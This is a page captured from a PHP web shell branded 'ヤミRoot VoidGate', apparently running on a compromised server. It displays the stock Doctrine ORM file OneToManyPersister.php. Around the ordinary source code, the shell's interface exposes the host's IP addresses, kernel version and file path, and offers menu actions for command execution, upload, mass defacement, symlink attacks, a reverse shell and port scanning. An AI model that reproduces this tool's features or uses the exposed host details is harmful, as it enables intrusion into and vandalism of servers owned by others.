ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
doctrine
/
orm
/
lib
/
Doctrine
/
ORM
/
Persisters
/
Collection
/
Viewing: OneToManyPersister.php
<?php /* * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * This software consists of voluntary contributions made by many individuals * and is licensed under the MIT license. For more information, see * <http://www.doctrine-project.org>. */ namespace Doctrine\ORM\Persisters\Collection; use Doctrine\Common\Collections\Criteria; use Doctrine\Common\Proxy\Proxy; use Doctrine\ORM\PersistentCollection; /** * Persister for one-to-many collections. * * @author Roman Borschel <roman@code-factory.org> * @author Guilherme Blanco <guilhermeblanco@hotmail.com> * @author Alexander <iam.asm89@gmail.com> * @since 2.0 */ class OneToManyPersister extends AbstractCollectionPersister { /** * {@inheritdoc} */ public function delete(PersistentCollection $collection) { // This can never happen. One to many can only be inverse side. // For owning side one to many, it is required to have a join table, // then classifying it as a ManyToManyPersister. return; } /** * {@inheritdoc} */ public function update(PersistentCollection $collection) { // This can never happen. One to many can only be inverse side. // For owning side one to many, it is required to have a join table, // then classifying it as a ManyToManyPersister. return; } /** * {@inheritdoc} */ public function get(PersistentCollection $collection, $index) { $mapping = $collection->getMapping(); if ( ! isset($mapping['indexBy'])) { throw new \BadMethodCallException("Selecting a collection by index is only supported on indexed collections."); } $persister = $this->uow->getEntityPersister($mapping['targetEntity']); return $persister->load( array( $mapping['mappedBy'] => $collection->getOwner(), $mapping['indexBy'] => $index ), null, $mapping, array(), null, 1 ); } /** * {@inheritdoc} */ public function count(PersistentCollection $collection) { $mapping = $collection->getMapping(); $persister = $this->uow->getEntityPersister($mapping['targetEntity']); // only works with single id identifier entities. Will throw an // exception in Entity Persisters if that is not the case for the // 'mappedBy' field. $criteria = new Criteria(Criteria::expr()->eq($mapping['mappedBy'], $collection->getOwner())); return $persister->count($criteria); } /** * {@inheritdoc} */ public function slice(PersistentCollection $collection, $offset, $length = null) { $mapping = $collection->getMapping(); $persister = $this->uow->getEntityPersister($mapping['targetEntity']); return $persister->getOneToManyCollection($mapping, $collection->getOwner(), $offset, $length); } /** * {@inheritdoc} */ public function containsKey(PersistentCollection $collection, $key) { $mapping = $collection->getMapping(); if ( ! isset($mapping['indexBy'])) { throw new \BadMethodCallException("Selecting a collection by index is only supported on indexed collections."); } $persister = $this->uow->getEntityPersister($mapping['targetEntity']); // only works with single id identifier entities. Will throw an // exception in Entity Persisters if that is not the case for the // 'mappedBy' field. $criteria = new Criteria(); $criteria->andWhere(Criteria::expr()->eq($mapping['mappedBy'], $collection->getOwner())); $criteria->andWhere(Criteria::expr()->eq($mapping['indexBy'], $key)); return (bool) $persister->count($criteria); } /** * {@inheritdoc} */ public function contains(PersistentCollection $collection, $element) { if ( ! $this->isValidEntityState($element)) { return false; } $mapping = $collection->getMapping(); $persister = $this->uow->getEntityPersister($mapping['targetEntity']); // only works with single id identifier entities. Will throw an // exception in Entity Persisters if that is not the case for the // 'mappedBy' field. $criteria = new Criteria(Criteria::expr()->eq($mapping['mappedBy'], $collection->getOwner())); return $persister->exists($element, $criteria); } /** * {@inheritdoc} */ public function removeElement(PersistentCollection $collection, $element) { $mapping = $collection->getMapping(); if ( ! $mapping['orphanRemoval']) { // no-op: this is not the owning side, therefore no operations should be applied return false; } if ( ! $this->isValidEntityState($element)) { return false; } return $this ->uow ->getEntityPersister($mapping['targetEntity']) ->delete($element); } /** * {@inheritdoc} */ public function loadCriteria(PersistentCollection $collection, Criteria $criteria) { throw new \BadMethodCallException("Filtering a collection by Criteria is not supported by this CollectionPersister."); } }
Coded With 💗 by
0x6ick